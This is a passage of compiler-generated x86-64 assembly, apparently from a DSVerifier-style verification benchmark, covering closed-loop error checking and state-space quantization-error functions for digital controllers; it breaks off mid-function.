mov rcx, rsp
sub rcx, rax
.L1332:
cmp rsp, rcx
je .L1333
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1332
.L1333:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1334
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1334:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3376[rbp], rax
mov edx, DWORD PTR -3648[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3368[rbp], rax
movsx rax, edx
mov QWORD PTR -4016[rbp], rax
mov QWORD PTR -4008[rbp], 0
movsx rax, edx
mov QWORD PTR -4032[rbp], rax
mov QWORD PTR -4024[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1335:
cmp rsp, rcx
je .L1336
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1335
.L1336:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1337
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1337:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3360[rbp], rax
mov edx, DWORD PTR -3648[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3352[rbp], rax
movsx rax, edx
mov QWORD PTR -4048[rbp], rax
mov QWORD PTR -4040[rbp], 0
movsx rax, edx
mov QWORD PTR -4064[rbp], rax
mov QWORD PTR -4056[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1338:
cmp rsp, rcx
je .L1339
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1338
.L1339:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1340
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1340:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3344[rbp], rax
mov eax, DWORD PTR -3648[rbp]
cmp DWORD PTR -3644[rbp], eax
cmovge eax, DWORD PTR -3644[rbp]
mov DWORD PTR -3620[rbp], eax
mov edx, DWORD PTR -3620[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3336[rbp], rax
movsx rax, edx
mov QWORD PTR -4080[rbp], rax
mov QWORD PTR -4072[rbp], 0
movsx rax, edx
mov QWORD PTR -4096[rbp], rax
mov QWORD PTR -4088[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1341:
cmp rsp, rcx
je .L1342
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1341
.L1342:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1343
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1343:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3328[rbp], rax
mov edx, DWORD PTR -3620[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3320[rbp], rax
movsx rax, edx
mov QWORD PTR -4112[rbp], rax
mov QWORD PTR -4104[rbp], 0
movsx rax, edx
mov QWORD PTR -4144[rbp], rax
mov QWORD PTR -4136[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1344:
cmp rsp, rdx
je .L1345
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1344
.L1345:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1346
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1346:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3312[rbp], rax
mov eax, DWORD PTR -3620[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -3304[rbp], rdx
movsx rdx, eax
mov QWORD PTR -4160[rbp], rdx
mov QWORD PTR -4152[rbp], 0
movsx rdx, eax
mov QWORD PTR -4176[rbp], rdx
mov QWORD PTR -4168[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1347:
cmp rsp, rdx
je .L1348
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1347
.L1348:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1349
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1349:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3296[rbp], rax
mov eax, DWORD PTR -3620[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -3288[rbp], rdx
movsx rdx, eax
mov QWORD PTR -4192[rbp], rdx
mov QWORD PTR -4184[rbp], 0
movsx rdx, eax
mov QWORD PTR -4208[rbp], rdx
mov QWORD PTR -4200[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1350:
cmp rsp, rdx
je .L1351
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1350
.L1351:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1352
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1352:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3280[rbp], rax
mov DWORD PTR -3624[rbp], 0
jmp .L1353
.L1354:
mov rax, QWORD PTR -3392[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -3376[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -3624[rbp], 1
.L1353:
mov eax, DWORD PTR -3624[rbp]
cmp eax, DWORD PTR -3648[rbp]
jl .L1354
mov DWORD PTR -3624[rbp], 0
jmp .L1355
.L1360:
mov rax, QWORD PTR -3592[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -3644[rbp]
mov rdx, QWORD PTR -3448[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov r8d, DWORD PTR -3644[rbp]
mov edi, DWORD PTR -3648[rbp]
lea rcx, -2464[rbp]
lea rdx, -1664[rbp]
mov rsi, QWORD PTR -3448[rbp]
mov rax, QWORD PTR -3392[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call double_direct_form_1
movq rax, xmm0
mov rdx, QWORD PTR -3560[rbp]
mov ecx, DWORD PTR -3624[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov rax, QWORD PTR -3560[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -3648[rbp]
mov rdx, QWORD PTR -3392[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov rax, QWORD PTR -3608[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -3644[rbp]
mov rdx, QWORD PTR -3432[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov r8d, DWORD PTR -3644[rbp]
mov edi, DWORD PTR -3648[rbp]
lea rcx, -3264[rbp]
lea rdx, -864[rbp]
mov rsi, QWORD PTR -3432[rbp]
mov rax, QWORD PTR -3376[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call double_direct_form_1
movq rax, xmm0
mov rdx, QWORD PTR -3576[rbp]
mov ecx, DWORD PTR -3624[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov rax, QWORD PTR -3576[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -3648[rbp]
mov rdx, QWORD PTR -3376[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov rax, QWORD PTR -3576[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
movsd xmm2, QWORD PTR [rax+rdx*8]
movsd QWORD PTR -3664[rbp], xmm2
mov rax, QWORD PTR -3560[rbp]
mov edx, DWORD PTR -3624[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
cvttsd2si rax, xmm0
mov rdi, rax
call fxp_to_double
movapd xmm1, xmm0
movsd xmm0, QWORD PTR -3664[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -3272[rbp], xmm0
movsd xmm0, QWORD PTR impl[rip+48]
comisd xmm0, QWORD PTR -3272[rbp]
jbe .L1356
movsd xmm0, QWORD PTR impl[rip+48]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm1, xmm0
movsd xmm0, QWORD PTR -3272[rbp]
comisd xmm0, xmm1
jbe .L1356
mov eax, 1
jmp .L1359
.L1356:
mov eax, 0
.L1359:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
add DWORD PTR -3624[rbp], 1
.L1355:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -3624[rbp], eax
jl .L1360
mov eax, 0
mov rsp, rbx
mov rsp, QWORD PTR -4120[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1362
call __stack_chk_fail@PLT
.L1362:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE141:
.size verify_error_closedloop, .-verify_error_closedloop
.globl new_state
.bss
.align 32
.type new_state, @object
.size new_state, 128
new_state:
.zero 128
.globl new_stateFWL
.align 32
.type new_stateFWL, @object
.size new_stateFWL, 128
new_stateFWL:
.zero 128
.globl _controller_fxp
.align 32
.type _controller_fxp, @object
.size _controller_fxp, 1040
_controller_fxp:
.zero 1040
.globl _controller_double
.align 32
.type _controller_double, @object
.size _controller_double, 1040
_controller_double:
.zero 1040
.text
.globl ss_system_quantization_error
.type ss_system_quantization_error, @function
ss_system_quantization_error:
.LFB142:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1104
mov QWORD PTR -1096[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, QWORD PTR -1096[rbp]
movsd QWORD PTR _controller[rip+768], xmm0
mov DWORD PTR -1088[rbp], 0
jmp .L1368
.L1371:
mov DWORD PTR -1084[rbp], 0
jmp .L1369
.L1370:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1369:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1370
add DWORD PTR -1088[rbp], 1
.L1368:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1371
mov DWORD PTR -1088[rbp], 0
jmp .L1372
.L1375:
mov DWORD PTR -1084[rbp], 0
jmp .L1373
.L1374:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1373:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1374
add DWORD PTR -1088[rbp], 1
.L1372:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1375
mov DWORD PTR -1088[rbp], 0
jmp .L1376
.L1379:
mov DWORD PTR -1084[rbp], 0
jmp .L1377
.L1378:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1377:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1378
add DWORD PTR -1088[rbp], 1
.L1376:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1379
mov DWORD PTR -1088[rbp], 0
jmp .L1380
.L1383:
mov DWORD PTR -1084[rbp], 0
jmp .L1381
.L1382:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 48
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1381:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1382
add DWORD PTR -1088[rbp], 1
.L1380:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1383
mov DWORD PTR -1088[rbp], 0
jmp .L1384
.L1387:
mov DWORD PTR -1084[rbp], 0
jmp .L1385
.L1386:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1385:
cmp DWORD PTR -1084[rbp], 0
jle .L1386
add DWORD PTR -1088[rbp], 1
.L1384:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1387
mov DWORD PTR -1088[rbp], 0
jmp .L1388
.L1391:
mov DWORD PTR -1084[rbp], 0
jmp .L1389
.L1390:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 96
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 96
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1389:
cmp DWORD PTR -1084[rbp], 0
jle .L1390
add DWORD PTR -1088[rbp], 1
.L1388:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1391
mov DWORD PTR -1088[rbp], 0
jmp .L1392
.L1395:
mov DWORD PTR -1084[rbp], 0
jmp .L1393
.L1394:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 80
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 80
movsd QWORD PTR -1056[rbp+rax*8], xmm0
add DWORD PTR -1084[rbp], 1
.L1393:
cmp DWORD PTR -1084[rbp], 0
jle .L1394
add DWORD PTR -1088[rbp], 1
.L1392:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1395
pxor xmm0, xmm0
movsd QWORD PTR -1080[rbp], xmm0
mov DWORD PTR -1088[rbp], 0
jmp .L1396
.L1399:
mov DWORD PTR -1084[rbp], 0
jmp .L1397
.L1398:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_state[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1397:
cmp DWORD PTR -1084[rbp], 0
jle .L1398
add DWORD PTR -1088[rbp], 1
.L1396:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1399
call double_state_space_representation
movq rax, xmm0
mov QWORD PTR -1072[rbp], rax
mov DWORD PTR -1088[rbp], 0
jmp .L1400
.L1403:
mov DWORD PTR -1084[rbp], 0
jmp .L1401
.L1402:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_state[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1401:
cmp DWORD PTR -1084[rbp], 0
jle .L1402
add DWORD PTR -1088[rbp], 1
.L1400:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1403
pxor xmm0, xmm0
cvtsi2sd xmm0, QWORD PTR -1096[rbp]
movsd QWORD PTR -288[rbp], xmm0
mov DWORD PTR -1088[rbp], 0
jmp .L1404
.L1407:
mov DWORD PTR -1084[rbp], 0
jmp .L1405
.L1406:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1405:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1406
add DWORD PTR -1088[rbp], 1
.L1404:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1407
mov DWORD PTR -1088[rbp], 0
jmp .L1408
.L1411:
mov DWORD PTR -1084[rbp], 0
jmp .L1409
.L1410:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1409:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1410
add DWORD PTR -1088[rbp], 1
.L1408:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1411
mov DWORD PTR -1088[rbp], 0
jmp .L1412
.L1415:
mov DWORD PTR -1084[rbp], 0
jmp .L1413
.L1414:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1413:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1414
add DWORD PTR -1088[rbp], 1
.L1412:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1415
mov DWORD PTR -1088[rbp], 0
jmp .L1416
.L1419:
mov DWORD PTR -1084[rbp], 0
jmp .L1417
.L1418:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 48
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1417:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1084[rbp], eax
jl .L1418
add DWORD PTR -1088[rbp], 1
.L1416:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1419
mov DWORD PTR -1088[rbp], 0
jmp .L1420
.L1423:
mov DWORD PTR -1084[rbp], 0
jmp .L1421
.L1422:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1421:
cmp DWORD PTR -1084[rbp], 0
jle .L1422
add DWORD PTR -1088[rbp], 1
.L1420:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1423
mov DWORD PTR -1088[rbp], 0
jmp .L1424
.L1427:
mov DWORD PTR -1084[rbp], 0
jmp .L1425
.L1426:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 96
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 96
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1425:
cmp DWORD PTR -1084[rbp], 0
jle .L1426
add DWORD PTR -1088[rbp], 1
.L1424:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1427
mov DWORD PTR -1088[rbp], 0
jmp .L1428
.L1431:
mov DWORD PTR -1084[rbp], 0
jmp .L1429
.L1430:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 80
movsd xmm0, QWORD PTR -1056[rbp+rax*8]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 80
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1429:
cmp DWORD PTR -1084[rbp], 0
jle .L1430
add DWORD PTR -1088[rbp], 1
.L1428:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1431
mov DWORD PTR -1088[rbp], 0
jmp .L1432
.L1435:
mov DWORD PTR -1084[rbp], 0
jmp .L1433
.L1434:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_stateFWL[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1433:
cmp DWORD PTR -1084[rbp], 0
jle .L1434
add DWORD PTR -1088[rbp], 1
.L1432:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1435
call fxp_state_space_representation
movq rax, xmm0
mov QWORD PTR -1064[rbp], rax
mov DWORD PTR -1088[rbp], 0
jmp .L1436
.L1439:
mov DWORD PTR -1084[rbp], 0
jmp .L1437
.L1438:
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
mov eax, DWORD PTR -1088[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_stateFWL[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -1084[rbp], 1
.L1437:
cmp DWORD PTR -1084[rbp], 0
jle .L1438
add DWORD PTR -1088[rbp], 1
.L1436:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1439
movsd xmm0, QWORD PTR -1072[rbp]
subsd xmm0, QWORD PTR -1064[rbp]
movsd QWORD PTR -1080[rbp], xmm0
movsd xmm0, QWORD PTR -1080[rbp]
movq rax, xmm0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L1441
call __stack_chk_fail@PLT
.L1441:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE142:
.size ss_system_quantization_error, .-ss_system_quantization_error
.globl fxp_ss_closed_loop_quantization_error
.type fxp_ss_closed_loop_quantization_error, @function
fxp_ss_closed_loop_quantization_error:
.LFB143:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1072
movsd QWORD PTR -1064[rbp], xmm0
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov WORD PTR -1054[rbp], 0
mov DWORD PTR -1052[rbp], 0
jmp .L1443
.L1448:
mov DWORD PTR -1048[rbp], 0
jmp .L1444
.L1447:
mov edx, DWORD PTR -1048[rbp]
mov eax, DWORD PTR -1052[rbp]
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller_fxp[rip]
